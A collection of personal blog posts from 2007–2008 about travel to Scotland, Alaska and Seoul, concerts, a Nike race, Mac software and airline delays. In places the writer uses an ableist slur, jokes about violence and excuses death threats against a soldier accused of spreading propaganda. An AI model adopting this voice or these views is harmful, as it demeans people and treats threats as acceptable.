There was some old 80s show involving teams of 2. A dart player (who would throw darts to figure out how much the questions would be worth for their teammate), and a question answerer. The show featured an animated mascot named "Bully." I thought it was some weird cowpotamus mutant until I realized that I was a dummy and it was a show about darts. I believe this show had to have been on in 1986 or so because a prize was a Sega Master System.

Lastly, I'll mention that they do not have "Are you smarter than a 5th grader?" They have "Are you smarter than a 10 year old?" The song is funny if you can somehow find it online.

The next morning we flew up to Edinburgh, Scotland, and this was the real highlight of the trip. It was quaint and had even better food than London. Bangers and mash, Haggis (it’s good if you get it from a good place), and various ales put some extra pounds on both of us.

We spent a day in the city, looking at the Castle, Holyrood Palace (pronounced kinda like a non-native English speaker from Asia may pronounce Hollywood), and various other things. It was a really great place, and I’d go back to Scotland before London (well, our friends in London would be a reason to go there, but London itself is not up to par with Edinburgh for what I look for in a destination).

That was nice, and the next day we made the drive up to St. Andrews. Wow. It was amazingly beautiful, cold, windy, and the Old Course is exactly what you’d expect it to be. We obviously couldn’t get a tee-time (and my handicap is definitely not 24 (the requirement)), but we walked out onto the course a bit after everyone’s rounds were done for the day. I got a pic by the bridge on 18, and we were too lazy to check out the road hole, but it was great. We walked out to the beach and got some neat pics and videos of the ghost-like sand blowing across the other sand.

St. Andrews is one of the best places I’ve ever seen.

We had a great dinner there at a place called The Seafood Restaurant. It’s kinda swanky, but the food is great all around. Preparation, presentation, taste… it had it all. I’d recommend it. Next time I’d try a normal entree (we got the cheap 25 pound meals because we weren’t sure of the quality, and the 38 pound meal would have been like $55 more in USD). Now we are sure.

After returning to London we hit up the Prime Meridian in Greenwich and got some pictures. I never knew a lot of the stories they told in there (Newton stealing information from the initial head of the observatory, and so on). I wouldn’t go back there, but it’s something that I’ve now seen.

There are a million things that I’ll forget to mention in this entry, but they’re in my mind and can’t be taken away from me. In a week I flew a third of the way around the world, saw some cities that I’d never been to, and experienced things that a lot of people never get to. In the past year I’ve been to 4 continents, and before that I had been limited to 1.

Life goes by so fast
you only want to do what you think is right
close your eyes and it’s passed
story of my life

This has been my best year so far, and I’m hoping to improve on it in 2008 and beyond. Great trip, great life.

Random Tidbits

2008-01-15T02:41:00.000-08:00

Over the holidays I had a few weeks of free time, so I spent it wisely playing Guitar Hero 3. I'm still terrible at the game, but at least I'm now most of the way through the expert campaign. Currently on a project, my hands are getting some much needed rest. I'm getting much stronger hands, and I should be able to break walnuts with my fingers in no time.

And playing a lot of that game has had me reading ScoreHero a bit, and it was big news when Jordan was FCed (full combo for those out of the GH loop). I now count myself as one of the few who hears the word Jordan and thinks of something other than the country or Michael. And I haven't even played that game. I guess that has something to do with relevance to my own world (I actually play a similar game, and don't travel to the middle east or play basketball).

I just read on Slashdot that there's a new Microsoft deal that will have them streaming ads to shopping carts. My favorite comment was from someone who noted that this could sum up the history of computing nicely, with Apple introducing the iPhone and Microsoft introducing an annoying shopping cart. That's pretty much how I view those two companies, and their market caps indicate that consumers are morons.

I guess a lot of things are in how you look at them.

Orwell forgot something.

2007-12-16T18:12:00.000-08:00

I read an article today discussing some military personnel who have been editing wikipedia and posting pro-military propaganda on the internet.

This implies a lot. Firstly, we seem to now have people paid by the government to spread propaganda that makes them look better. It implies that they're trying to appear as if they're regular people and not employees of an interested party. Anyhow, the correlation with the Ministry of Truth in "1984" is obvious. We now officially have people whose job it is to spread the official line to the world as if it's some independent voice of reason and honesty.

Aside: Wow, blogger is terrible with Safari. I can't even cut and paste into my text box here.

Well, one of these people who work for our very own "Ministry of Truth" had his name leaked, and has since received death threats. His commanding officer is outraged, and feels that the soldier should not have to face these threats for merely doing his job.

Let's take a final step back before I get to the real meat of this post. If doing your job is to spread propaganda to influence public opinion here in the US, then you're a worthless piece of shit. There is an unwritten rule that our government shouldn't be lying to us, and shouldn't be trying to persuade us with this sort of tactic. Feel free to con Iraqis into siding with you through social pressures and propaganda, but not us. People rightfully feel outraged when they find out that we're being conned, and their only recourse is to issue empty death threats. That's their plea to the guy in question to stop trying to mislead them.

All of this made me rethink 1984. I think that George Orwell forgot something of great import: another ministry dedicated to doing the job that Michael Moore and the Loose Change guy do these days. I guess I'll call it the "Ministry Of Wolf Calling."

The idea is that the conspiracies are so poorly researched and thought out that only the dumbest fraction of the world believes them. To the rest, they serve as a call to arms against yet another nonexistent wolf. Over time, this numbs them to the idea that the government is capable of lying to them at all, and they tend to believe what is says just a little bit more. By calling them liars in such an absurd manner, you're actually demonstrating that you're the liar (or idiot) an that the agency in question is honest.

So, what am I thinking? You need two to play this game. First, you pay people to spew propaganda. Then, pay (or take advantage of morons who will do your work for free) others to say that you're a liar, but in such a way that their incompetence makes you look better than before the accusation.

Every time you're challenged and it turns out to be false, people will believe you just a little bit more. That's a tool that I think we need to use more often.

Finding myself

2007-12-10T21:03:00.000-08:00

So I was trying to use iChat again (for whatever reason), and I once again ran into the issue with not being able to strip output formatting. I decided to check google to see if anyone had come up with a solution for that.

My hopes weren't all that high, since Mac users tend to take what they're given and like it, but I searched anyhow. Here was what I got.

I guess that's some sort of an accomplishment.

King of the world

2007-11-20T23:53:00.000-08:00

After seeing this video I was reminded of a trip I once made to the Marina Del Rey Costco with my girlfriend.

We were pushing a shopping cart back to the car, and I had asked her if she had ever "ridden" a cart as a kid. She had, but I made her get on the cart anyhow.

She stood in front of me as I pushed, and I told her to lean back on my chest for support. I got her to close her eyes and put her arms out, and then had her open them.

"I'm king of the world!"

She later informed me of how stupid and childish that was, but the point is the same as that mall magician video. There's a lot of fun to be had just by being a little creative and seeing what's available around you.

Stupid laughs make endearing memories.

Cold, Chapter 1

2007-11-18T01:05:00.000-08:00

I’m sitting in the Fairbanks International Airport terminal waiting for my flight to Anchorage. I’m a few hours early, but I ran out of things to do and see. In a little bit I’ll go over to the lounge to grab a drink and possibly some food before my flight, but for now I’m just waiting on a phone to finish charging. I thought I’d take the time here to recap some of my experiences before the memories fade. I’ll start with my car rental.

I was on the phone with a buddy of mine. I’ll refer to him as my “handler” from here on out to preserve his anonymity and make me sound like some sort of a cool spy. I’m more of a technology hit-man, if it’s possible for a hit-man to be constructive instead of destructive. Handler sets up the projects for me, and I go and do them. Anyhow, Handler it is.

So Handler is dealing with a credit card issue for me (card failed at the car rental desk because they didn’t expect me to legitimately be in Fairbanks), and we’re still on the phone as I leave the airport. As I’m noticing a sign that says Smoking in the airport is illegal and punishable by a fine of up to $50, the cold hits me.

“Holy shit it’s cold!”

I immediately started coughing, and Handler started laughing on the other end of the phone. “Dude, it’s that cold?”

Yes it was. I don't mean that you might want to wear a jacket. I mean the kind of cold that will kill you. Serious cold. Fairbanks is not for the faint of heart. It's like living on the moon, reaching 90 in the summer, and -90 in the winter.

And I suppose now that I should have started this story a little earlier, back in Seattle. See, not a lot of flights go straight to Fairbanks, unless you’re in Anchorage. Not a lot of flights go directly to Anchorage, unless you’re in Fairbanks or Seattle. So I had a few stops. Couple that with merely a month early booking and I ended up flying from Vegas to Portland to Seattle to Anchorage to Fairbanks.

So I arrive in Seattle with my carry on and my laptop bag, and they decide that it has to be checked. Not the checking where they bring it to you at the front of the plane, but the kind that you’ll need to go to the luggage claim area to retrieve. Half of the reason that I carry bags on revolves around my mistrust of airlines, but that’s for another story about a paragraph away.

Anyhow, I reluctantly hand over my bag, board the plane, and fly through Anchorage to Fairbanks.

When I arrived in Fairbanks, my luggage was nowhere to be found. Excellent! All of my warm clothes (aside from my jacket) were in that bag, so I was a little worried about the cold. Back to the present-tense of this story.

So I’m walking out of the airport profanely exclaiming the obvious (that it’s damn cold), and I make my way over to my rental car. The door won’t open. A trip back to the rental desk to see if there’s some sort of trick to opening doors in this netherworld confirms that that car is indeed frozen. Frozen? Oh, it’s so cold that the door itself is frozen shut, and trying to pry it open could potentially damage it. Time for another car.

Car #2 actually opened, and I was on my way. I got to the hotel, and everything was fine. Day one of the project went a little shakily at first, since a lot of my equipment was in my lost bag, but I handled it anyhow.

I found out several things on this day. Apparently when you’re freezing to death, a couple different things happen. One of them is that your brain stops working properly and you go insane. Another is that you feel like you’re on fire. This leads to the predictable result that you find dead naked people in the snow.

I was also informed that it wasn’t cold. There was a heat wave, so the -11F that it was when I landed was unseasonably warm. It’s cold here when it’s 80 below. Oh, and 40 below is the same between Fahrenheit and Celsius. Quick math will confirm this, and I hadn’t actually realized that this was the case. I never lived in a region where it was regularly that cold (and colder).

Parking lots in Fairbanks have power outlets in front of the spaces, and cars (including the rentals) have a cord hanging out of the front grill. Why? So you can plug it in to keep the engine block warm. When it’s a balmy -11 like it was then you don’t need it, but past 20 below you need to do that or else the engines will freeze too. I heard that they can crack too, but I have a hard time believing that for anything above -120F. I could easily be wrong here.

People who live here have auto starters on their cars. They start them from inside about 20 minutes before they’re going to leave. This lets the car warm up and the ice melt off of the windows. It’s a solid plan, but it’s disconcerting if you’re not used to it. I felt like I was auditioning for a part in Christine II, Electric Boogaloo when I was walking back to my rental after day one. Four cars “started themselves” as I walked past, and there were no drivers. I actually didn’t know about the auto-starters until day 2, so I quickly got back to the hotel and turned the heater way up, as I was obviously going insane and freezing to death.

While here I picked up the habit of telling people to “stay warm” instead of to “have a nice day.” This made sense to me, but seeing several people over the course of the week wearing shorts and sandals (sockless in the snow, I shit you not), it’s not too cold to the locals.

Anyhow, I learned that there is a guy up here who receives the “Santa” letters addressed to “Santa at the North Pole.” He’s located down in North Pole, AK, so I made it a mission to visit him. There are some pictures of this experience over on my Picasa album, which I link to both on the right, and also on my website (www.dnickolas.com).

Driving around up here reminded me of Michigan as a kid. It freezes there, so the roads get a little slick at times. In Fairbanks, every road was solid ice.

I’m starting to get a little antsy now, so I’l go head on over to the lounge for some food and a drink.

Well, I had a nice long conversation in the bar with some old guys who have been around a lot. We talked about technology, and drank beer. Good stuff. Anyhow…

The flight from Fairbanks to Anchorage was the worst flight I’ve ever been on. A 5 year old kid did not stop screaming the entire time, and killing the parents (it’s their fault 100%) would be useless. They had a bunch of kids, and one of the kids has a lot of potential to be smart. The parents are retards, though, and I know that that kid will end up stupid too. Very sad.

iChat loses again

2007-11-01T00:02:00.001-07:00

I tried for a day or two to move myself to iChat instead of AdiumX. I figured that though there were limitations, iChat would be cool enough that I could work to find solutions to its problems. I'll go through the list of issues that I have, and comment on them.

No support for MSN or Yahoo

I can just work around this with a Jabber transport. Yeah I won't have any functionality aside from chat, but that's fine.

No skins

I guess I can get used to this.

File transfer doesn't work with gaim clients, even on AIM

What the hell? OK this is getting silly.

Can't strip formatting on output

This might not be clear, so I'll try to explain it better. If I want text to look a certain way on my side, I HAVE to send it that way to the person I'm talking to. I can't just send plain old text. It refuses to strip formatting information. this annoys other people who are too inept to strip formatting locally, and whine about it when they get things that look all weird on their end.

Can't combine buddy list windows

You're telling me that on top of the other issues, I have to have 3+ buddy windows organized by medium? Who in the hell designed this piece of crap?

So after careful consideration, I've come to the conclusion that iChat sucks.

An iPhone commercial that should have been

2007-10-27T08:33:00.000-07:00

So last night I went with Cindy to the Apple store at Century City to pick up free T-shirts. She thought that I was an idiot for thinking that there might be a crowd until we found the real line and had to go behind about 300 other people also waiting for their T-shirts (and Leopard).

A kid shows up behind us, and Cindy thought that he was about 9 years old. It turned out that he was 13, went to Beverly Hills High School, and was trying to get his mom to come over to buy him Leopard. This kid had a lot of friends that were showing up periodically, partly to say hello to the guy who showed up after him in line, "the guy from Mr. Deeds."

This all led to the most enjoyable queueing experience that I've ever had, between that kid and his endless stream of friends and Peter Gallagher being a genuinely nice guy (there with a buddy of his who I can't place). It ended with about 8 iPhones coming out of pockets and people showing off the ways that they either hacked or generally used the devices. The kid with a guitar hero clone was the star of the show.

Anyhow, Cindy mentioned that it should have been an iPhone commercial, so I described the visual: Start with a bunch of kids, and one of them says: "hey that's the guy in Mr. Deeds!" Someone else isn't convinced, so out come the iPhones headed to youtube. A video is found, and then they go over and say: "Hey, you're the guy from Mr. Deeds!" "Indeed I am!" "What are you doing here?" The camera pans into -his- iPhone screen where he's watching a Leopard ad, and it ends with him saying: "I'm here to pick up a free t-shirt. How'd you get those games on there?"

A moment of clarity

2007-10-20T19:30:00.000-07:00

So I was in El Paso last week doing some work, and on Friday I called my grandmother to say 'happy birthday.' She has dementia and is mostly incoherent. She is also in a home and it's tough to get her to not run around naked every night. That's why she isn't living with any of the family, though we offered to put her up out here in Nevada.

Anyhow, I was asking her how she was, and she was mumbling a bunch of incomprehensible phrases. I said that I had actually been in the state of Michigan a couple weeks ago for work, but was pressed for time and didn't get a chance to drop by. She asked me where else I've gone.

I mentioned a few of the more exotic locales (Korea, Trinidad) and she cut me off.

"If you get a chance to get out there and do something with your life, you take it. Don't be standing there with your finger in your ear. You don't want to be 88 years old in a home getting a call from your grandson on your birthday when you decide you want to do something."

I was a little shocked that she was capable of making any sense at all, so I didn't say anything for several seconds.

She then decided to start referring to me as "Joe D" (her son, my dad) and I knew that she was gone again. She went on about fingers and ears some more, but it was back to mostly nonsense.

There's a chance that I won't be able to make it back there to visit before she's gone, but I'm happy that I called her then. A few seconds of sensible conversation is more than what a lot of people have gotten from her in the last year.

Spanning the globe

2007-10-06T20:32:00.001-07:00

So I took the time to make myself a google map of the places that I've gone and have been going. I think I'll add it to my sidebar and keep it up to date. Most everything on there is some place that I've gone for work.

Enjoy seeing where I've gone since around 2004 or 2005.

I know you got Seoul

2007-09-27T11:14:00.001-07:00

So here's the thing: I can barely eat in this country. Everything is sesame this, or nutty that, and Thai food seems to be absurdly popular. Given that even soy is something I can only ingest in moderation, I'm in bad shape. I'm losing weight, though, so that's good.

Anyhow, I'll aggregate some observations that I've made.

The elevators here have undo functionality.
Hit a floor button, and it lights up. Hit it again, and it turns off (and doesn't go to the floor). I was lucky enough to spend time in there with a Chinese tourist (who apparently didn't understand the concept either). He got in, and with a slight frown (you either know the smug "I'm going to hit the same button too" look or you don't) he hit the lobby button, which I had already selected. So I tell him to hit it again, since it had canceled the call. He looks like he's going to start arguing with me so I just hit the button myself. He says something like "ungh" and then hits it too. Obviously the call was canceled yet again.
Eventually we got to the bottom floor and he gave me some prickish glare and a snort. I think he's related to the guy that sat next to me on the airplane ride over here, both of whom would be evidence in favor of turning the gobi desert to glass.

McDonalds here is weird
Bulgogi burger, shrimp burger, kim chee. I don't think I need to go on.

Cops are kids with sticks
Some of these riot police can't be more than 18 or 19 years old, and only about half of them would know how to use their stick if they needed to (I'm judging by how they hold the weapon when at rest).

That's about it for now. I'll try to remember more later. My sleep schedule is still ridiculous.

Hello from Korea

2007-09-23T09:45:00.000-07:00

So anyhow, I'm here in Korea and I have a class that I need to teach in about 7 hours. My sleep schedule is all screwed up, and I've never experienced this sort of jet lag before in my life.

If I come to either Google or Blogger from my hotel room here, it happily picks up my Korean IP address and renders every page in Korean. I thought that there existed a google.co.kr page or something that would work for people wanting that, or that there might be a way to easily switch back to English.

If anyone knows of a way, feel free to call my cell phone (or reply here) and let me know.

Anyhow, I did some exploring here, and walked all around the city. I must have gone about 8 miles in total since it took me a few hours. Some of it was steep, too. I made it all the way over to the Norwegian embassy, and then found my way back to a location that I knew well enough to find my way back to the hotel from.

I think that this is the safest city I've ever seen. I'm pretty sure that you could let your kids run around freely and they'd find their way home unscathed. Women can likely walk around at night alone and not be accosted. At no time was I in any danger, and some of the places that I walked past were pretty run down.

At one point I was able to look down into a set of dilapidated houses. I mean that some roofs were actually collapsed, and only a subset of the original homes were still standing. In the back yard some little girl (maybe 12 years old) was dancing around as if she were rehearsing for a play, or something. I thought that was neat, and should have brought my camera battery charger. It was akin to a scene from one of those dramas.

I tried without success to locate either a charger or a new camera (maybe they have smaller ones over here, and I like small), so I have no pictures, but I have the memories.

I'm guessing that my Tuesday will be my next shot at going out and about, since I think I'll probably pass out tomorrow night after the class and dinner.

Some other things that happened were that I had a guy address me by saying: "YOU WANT BETTER SHOES?" Me: "I think these are pretty good!" I have very nice shoes, and doubt that he could create a superior pair for me.

Another couple guys tried to fit me for tailoring to give me suits. I would have definitely done this if I felt like I'd be this same weight for a while longer. I'm planning on using my next couple months of work to lose weight, since I always skip lunch and burn more calories when working than when in between projects.

I found the future location of the Hard Rock Cafe here in Seoul, but there was no store to be found. I was unable to buy the requisite shirts that were asked for by people back in the US. Perhaps there is a store somewhere else? I'll be out and about at least a couple more times before I leave.

My hotel is right over a night club, so if I were here with friends that might be a neat thing to do. Apparently they go out on Sunday nights too, since there was a steady stream of cabs when I walked across the street to acquire some coke for my fridge.

Another thing that is kind of bizarre is the scale of things. I saw doors that anyone over about 4' would have to duck through. I also have tiny furniture in my room. By tiny, I mean:

Anyhow, I'll try to take a few pictures outside before my camera is completely dead, but I can't guarantee much. I typically shoot a ton of pictures if I'm in "picture mode," but I'll have to be more selective since I'm guessing that I have fewer than 20 before it dies.

Oh, and dinner was alright. The food is marginally inferior to LA Koreatown, but that's mainly because of the meat quality here (it's sub par). The preparation is basically identical.

I'm sure I've forgotten to mention some things, but I'll probably remember them later.

Cindy's up, so I'll cut this short. Not that I was going to remember more anyhow.

LA Invasion

2007-09-16T16:53:00.000-07:00

So if the 5 mile Nike race weren’t enough activity for one day, and the rap/hip hop assortment wasn’t enough music, we headed over at about 4 pm to the LA Invasion concert. Note that I haven’t really followed music in many years. I got some pleasant surprises.

The first guy we saw was Perry Farrell. Apparently this guy was from Jane’s Addiction and Porno for Pyros, and is batshit insane. He had a chick singing with him who displayed some excellent side-boob and who was also careful to give equal time to her ass and face as far as what was pointing at the crowd. He was entertaining, but mostly because he was insane.

The next group was Cypress Hill, and I’m positive that I’m still high from that. It’s like everyone in the stadium lit up at once to welcome them to the stage. The entire Home Depot Center looked like it had been hit by a smoke bomb. They did a good job, but I’m still convinced that the most talented guy on that stage was the guy on the bongos.

After them came the guy from Soundgarden. He seemed to enjoy name-dropping (“this one time I was talking to Johnny Cash”), and looked like he didn’t belong. He played a decent set, but his eyes were wandering a lot. He also seemed a bit bitter.

The next thing I remember is Kid Rock, and this was the worst show I’ve ever seen. It’s like the guy has a modicum of competency with several instruments, and goes around playing them a little at a time. It's like Helen Keller on a stage. Nothing super impressive, but enough to say he did it. He’s likely the worst DJ I’ve ever seen perform in public as far as spinning, sucks at the guitar, and so on. It was disgusting.

At the point when he came on stage, I was in a state of having just realized that certain people were from certain old groups (Soundgarden, Jane’s Addiction) and thought “this tool was from both Metallica and AC/DC?” He played a lot of covers (including the Duke’s of Hazzard theme song), and had some terrible rap songs that I think he did himself.

It really sucks that I have to bag on a guy from Detroit, but hot damn this guy has no business in the music industry.

That said, it was like he could control the crowd. Where I was there wondering why I was standing up to watch this guy, people were going nuts for him. They were cheering, and responding to his antics in a positive manner. That solved the mystery of Kid Rock to me. He’s second to none when it comes to controlling a crowd.

Oh, and he had 2 cages with strippers in them eating each other out and dancing erotically. That made the act bearable, I suppose. It’s like a bad forum post that the author knows is garbage and that includes a link to porn to make up for it. Well done, Mr. Kid Rock.

The next act that I remember was Velvet Revolver, and I had never heard of this group. Apparently, it’s Guns N’ Roses with Axl replaced by the singer from Stone Temple Pilots. About 15 minutes into their set, I asked a guy that came with us why the guitar player was trying to look like Slash, and he told the story (it was Slash).

Anyhow, this was one of the highlights of the show. We were there for about 7 hours, heard a ton of music, and when they played Patience I would have been happy to have spent 10 times what I actually spent on the ticket. They played more old STP stuff than GNR stuff, but that’s fine too.

The lead singer had an interesting SS uniform on (think Luftwaffe and not the US Secret Service), and was absurdly skinny. He was jumping around like a maniac, and at one point fell down pretty hard. I’m pretty sure he broke an ankle, since he had to finish the set sitting down.

This was a great show in itself, and that’s without counting the earlier entertainment. Slash was playing very well, and the singer was a better Axl than Axl - especially now that Axl is chubby.

I feel bad for writing more about Kid Rock than this group (whose CDs I will now religiously purchase), but sometimes understanding the success of mediocrity takes more words than it does to describe excellence.

After Velvet Revolver came the Foo Fighters, and this was the best show of the night. If this were a battle of the bands, these guys would have won.

Apparently the Foo Fighters are fronted by the ex drummer for Nirvana (but who now seems to play the guitar very well), and I have never actually heard one of their songs. Every song in their set was new to me, though the rest of the stadium seemed to know them by heart. They were just all great songs, and their lead was a terrific performer. He just kept on following awesome with more awesome, and kept the crowd into it.

It seemed like they played a few of the songs twice - once slow and quiet, and once fast. Maybe that’s how the songs happen to be, but it was a great way to present the music.

I wish I could say more, but these guys are just so good that there isn’t much to explain. See them if you can. I will be trying to see them again.

Oh, and they kinda reminded me of “Stillwater” - the fake band in Almost Famous. That’s a great movie by the way. See it. Then go see the Foo Fighters.

Back to Kid Rock for a second: he reminded me of Spinal Tap. I think some of his schtick was inspired by that movie.

The final act of the night was the Smashing Pumpkins, but they’re not really the Smashing Pumpkins anymore. I think the drummer is the same, and obviously Billy Corgan is the same, but he replaced the Asian dude with some other guy who may or may not be an Asian dude, and the chick with another chick that may or may not be of the same nationality as the first. I know next to nothing about the Smashing Pumpkins, but Cindy is probably their biggest fan in the world anymore.

The song of theirs that I like the most is that “Tonight” song, and I didn’t recognize it for half the song since it was played faster and more metallically than I have ever heard before.

When Billy plays the guitar he looks like a character in Guitar Hero. There’s something inhuman about his motion, and I think it’s more than just him being tall.

Billy did Disarm all by himself with an acoustic guitar, I think, so that was neat, but he apparently messed up while playing 1979? the same way.

^ this comment is apparently completely wrong, though he did mess up during 1979. Disarm was never played, so that says that either they were screwing up the sound of their songs, or that I do not know their songs very well. I'll go with a combination of both.

He also looks like he’s dying. He’s apparently always looked a bit like Jack Skellington because he’s fairly tall and gaunt ($12 word from Cindy), but he used to have some meat on his cheeks, at least. His head looked like a skull, and his striped tights made him look like he belonged in the pages of a Dr. Seuss book.

Like, I enjoyed the show, and liked the new songs more than I thought I would (I think he played that Future Embrace song that he did on his own, as well as about 4 or 5 new songs from the new album). But it should have been more. I want the guy to do well, since I think he’s very talented and I want to hear good music, but this didn’t really cut it. The real stars of this show were Velvet Revolver and the Foo Fighters, and not the last act of the night.

And I really wanted them to be.

Run hit Remix

2007-09-16T16:35:00.000-07:00

So on Saturday September 15th someone decided to schedule one too many activities. We started the day off with a 5 mile run in Nike’s Run Hit Remix race in LA. This was a race with some has-been acts from the 80s and 90s playing along the way.

Naughty by nature was the best, in my opinion. Our pace was perfect because we got to hear both OPP and Hip Hop Hooray, the only 2 Naughty by Nature songs that I could recognize anyhow.

The Sugarhill Gang was also there, and they had some guy in possession of a silver wand. Think ‘Flava Flav without a clock,’ and you’ll be pretty close to what this guy was. I didn’t recognize their music, but I’m sure I just got unlucky with my pacing. I commented that “maybe it was Flava Flav after all” and was told that there is no way he’d be there without his clock. Of course, I thought. How would he know what time it was?

Sir Mix a Lot was pretty good too. He’s number 2 behind NBN for the acts along the course. The girl from En Vogue was forgettable, but obviously less forgettable than anyone i failed to mention.

So after running about 4.9 miles, the race funnels you through the tunnel into the Coliseum, and that was awesome. I’m not even a football fan, but thinking of the historical figures that have run through that tunnel made it a bigger deal to me than it was to a lot of other people (namely every woman in the race). It’s also neat to run out of the tunnel to be greeted by tens of thousands of cheering people. It would have been better if I won the race, but I’ll try to work on that for next year.

And after all of that, the final act took the stage, and it was Hammer time. He played a good set, did a good job, and I was happy with the entire event. I’d do it again next year despite hating running.

Google Apps

2007-09-12T14:17:00.001-07:00

I'm sure that there are some people that have a use for it, but despite my entire site being able to fit into 100k Google Apps is not the right solution. Unless I'm being dumb, and I can put some of my own HTML pages up on my site (not using their terrible templates), only use Google Apps for things like document sharing and e-mail. Do not try to replace even the tiniest web server with it. Oh, and document sharing is only going to be OK if you trust Google with your data. I do, but not everyone does.

An issue that I've also run into is that it's very very slow to render pages.

So, the bottom line is not to use Google Apps for anything but e-mail and document sharing. Your web server will do better than it can, and will allow far more flexibility.

NERDS

2007-09-06T07:05:00.000-07:00

Anyhow, I think the test is flawed. I chose the internet over sex, and the internet over hanging out with friends. I'm assuming that those are pushing my dork/awkward score up, but I guess I could be wrong.

Oh, and I answered as if I were at my own place, and not here in LA where I am now. This place inexplicably doesn't have a periodic table or a graphing calculator in reach that I know about. Or comic books.

The greatest name in the history of names

2007-08-26T17:23:00.000-07:00

So I discovered this new iPod knockoff on the web today, and figured that I would share it with the world. I suppose they thought "iHang coonz" was too racist.

The GOOD

2007-07-08T07:30:00.000-07:00

Sadly, my MacBook just crashed. It pissed me off quite a bit, and the screen didn't even turn blue. This is actually the first non-processor freeze crash that I've ever experienced on a mac. Actually, I think I may have seen a similar thing happen about 11 years ago, and I had a debugger that would run whenever it crashed. I believe the debugger actually caused it to crash more often than it would have otherwise.

Anyhow, they kindly tell you in several languages on a grey background that you need to restart.

I'm thinking that this may have something to do with Firefox, as I had that running for about 36 hours straight. So it might not really be their fault, but I don't think I'll cut them slack. It's not supposed to let itself crash no matter what.

I've read that the current OS update is rife with similar crashes, but this is the first time I've experienced it.

Oh, and I'm using GOOD to refer to the Grey Overlay Of Death, akin to the BSOD that NT and beyond will throw at the unwitting user from time to time.

Quiz of the Dead

2007-07-05T19:38:00.000-07:00

Very simple - I took a Zombie Survival quiz and I have a decent shot at making it out alive.

85%

Where the hell is Matt?

2007-07-04T14:46:00.001-07:00

Well, 7 million people have seen this, but just in case any of you haven't, well, here's a video that answers that very question.

It makes me want to go out and see the world. I currently live in NV, and never made it over to NM to see the VLA. How terrible is that, considering that I'm pretty big on astronomy, physics, and everything else that might be interested in the VLA.

Anyhow, it's about time to plan some more vacations. I hope you all like the video.

The projector

2007-06-26T16:45:00.001-07:00

So I grabbed a projector a while back for work, and well, I screwed up. It ended up being far too large to be portable at all (I'd need to take it around), but that's beside the point. It also only does fairly bad resolutions natively. Through woot I was able to get it for a total price of about $350 after a rebate.

Anyhow, I've finally had a chance to test it out, and I'll never buy a television again.

DVDs look incredible on it, and whatever method it uses to create a fake 1280x720 display works amazingly. This is all without a screen - we're displaying it on a wall. I watched a few movies, and it looks better than any normal TV that I've ever seen. They have better models that cost about 5x as much that will do better resolutions natively with better contrast, but this garbage model is still superior to any DLP that I've seen so far. It can't hang with the plasmas, but I'm also looking at a 10' screen instead of a 50".

Anyhow, I see myself buying projectors in lieu of "nice" televisions for the foreseeable future. I might still pick up small monitor-like televisions for certain purposes, but not for home theater viewing.

Continental and the rest

2007-06-24T08:27:00.001-07:00

I wrote this a while back while flying on yet another delayed flight. It's time to post it.

So this is the second time in recent years that I’ve flown continental. I’m at 37 thousand feet about two hours behind schedule. At least I found out about it before leaving the house, so I was able to get some more rest before getting to the airport.

Anyhow, the reason for the delay was the flight crew needing to rest. My flight back from Trinidad, also on Continental, was delayed for 3 hours for precisely the same reason. Apparently, they don’t have as many pilots as I would think they’d need.

I specifically picked a 7:10 AM departure to avoid traffic and a security line, but they dropped it back by a couple hours anyhow. Had I known that, I would have just taken the 10 AM flight and planned on the crowding. My problem isn’t with their head count, but with their inability to properly schedule flights. Since two thirds of my flights with them have been delayed for the same reason, I assume that they do that all the time.

Either get more pilots, or properly advertise your schedules.

Frequent Flier

2007-06-22T16:23:00.000-07:00

I really wish that I could use my frequent flier miles to upgrade to on time flights. Every time I travel it's delayed. This is ridiculous.

Why is it that they say when I can fly, and I sign up based on that, and they then decide they can't adhere to the damn schedule that they set for themselves in the first place? This makes no sense at all, and they're all run by incompetent morons. I think that might have something to do with large corporations being stupid across the board, and with the overhead required to run an airline, airlines are forced to be large.

I've been traveling on the better airlines recently, so it's not that I'm flying on southwest. Actually, southwest seems to be on time more often. Too bad they herd you like cattle.

I hate flying, airlines, and Cleveland.

Delta needs some Deltas

2007-06-16T15:19:00.000-07:00

So today I’m flying from Vegas to South Carolina for a project, and a few things already happened. Firstly, I forgot my headphones and mp3 player. This wouldn’t normally be a big deal, but when I’m looking at about 18 hours of travel in the next week without anything to put me to sleep or drown out the annoying stewardesses, I’m not thrilled.

The next item on the agenda was nearly missing my flight. I showed up to the gate as they were closing the door, but got them to wait for me anyhow. I guess I got lucky, but the story in that lies in my not having had anything to drink all morning. I was planning on a few minutes at the airport to grab some beverages, but had no time to do so.

It was fun waiting in a 300 person line at the security gate. While on the phone with someone who may have had to return to pick me up if I missed the flight, I got to make the comment (I talk loud when I’m angry) that “some chick is pushing past everyone. What a douche.” The douche in question seemed to take offense to what I said, and turned red while screaming at me. I made a comment to my phone conversationalist that the “dog was barking” and she got even madder. The thing is, about 40 people were laughing at her because she was obviously being exactly the douche that I called her out for being.

The next issue that I had has to do with not drinking anything. My lips are still cracked from dehydration, as by the time I got some coke from the flight attendants it was too late. The “snacks” were gross, so I guess Continental is the only flight that gives any sort of edible food to its customers. At least Jet Blue bills itself as a discount airline when they provide a laughable snack on cross country flights, but Delta acts as if it’s full service and charges for it. From now on I’m going to check JetBlue and even Southwest before settling for what Expedia throws at me.

At the Atlanta connection I grabbed some Krystal burgers with cheese. I’ve never had them before, but they’re identical (as far as I can tell) to white castles. I should have opened one up to count the holes. The chili-cheese fries were pretty good, and the coke was large. I was happy and full.

And that brings us to right now. I’m finally in the air between Atlanta and Charleston, as we had 2 “teaser” taxis before we were able to successfully lift off. Incredible. It’s a 39 minute flight, and we were delayed from making it for over 2 hours. Apparently, it’s a 5 hour drive (there was a slight argument on the airplane about how far it was away when I asked, and I stopped asking questions before I found myself in the middle of Days of Thunder 2.

All in all, Delta absolutely dropped the ball on 1/2 of my flights today, and if there were some way to change my flights at the end of the week without a stiff penalty (to a different carrier), I would do that. I will never fly Delta again. They’re a second rate airline, and I don’t feel safe on their rotting hardware.

Unless they make some changes, I won't be flying with them again.

I’m happy that I have this tiny computer now. There is no way I’d remember these details without being able to write them in flight.

Another Death Match

2007-06-13T20:00:00.000-07:00

I haven't interacted with Sony or Panasonic in a while, so I'll start one between Microsoft and Apple.

Contestant #1:

I recently bought a MacBook, and it is awesome. It's the fastest computer that I've ever had, and since I don't play games I won't be hindered by the video card. Everything works as I would like it to. They got it "right," as you can tell by my other post.

Contestant #2:

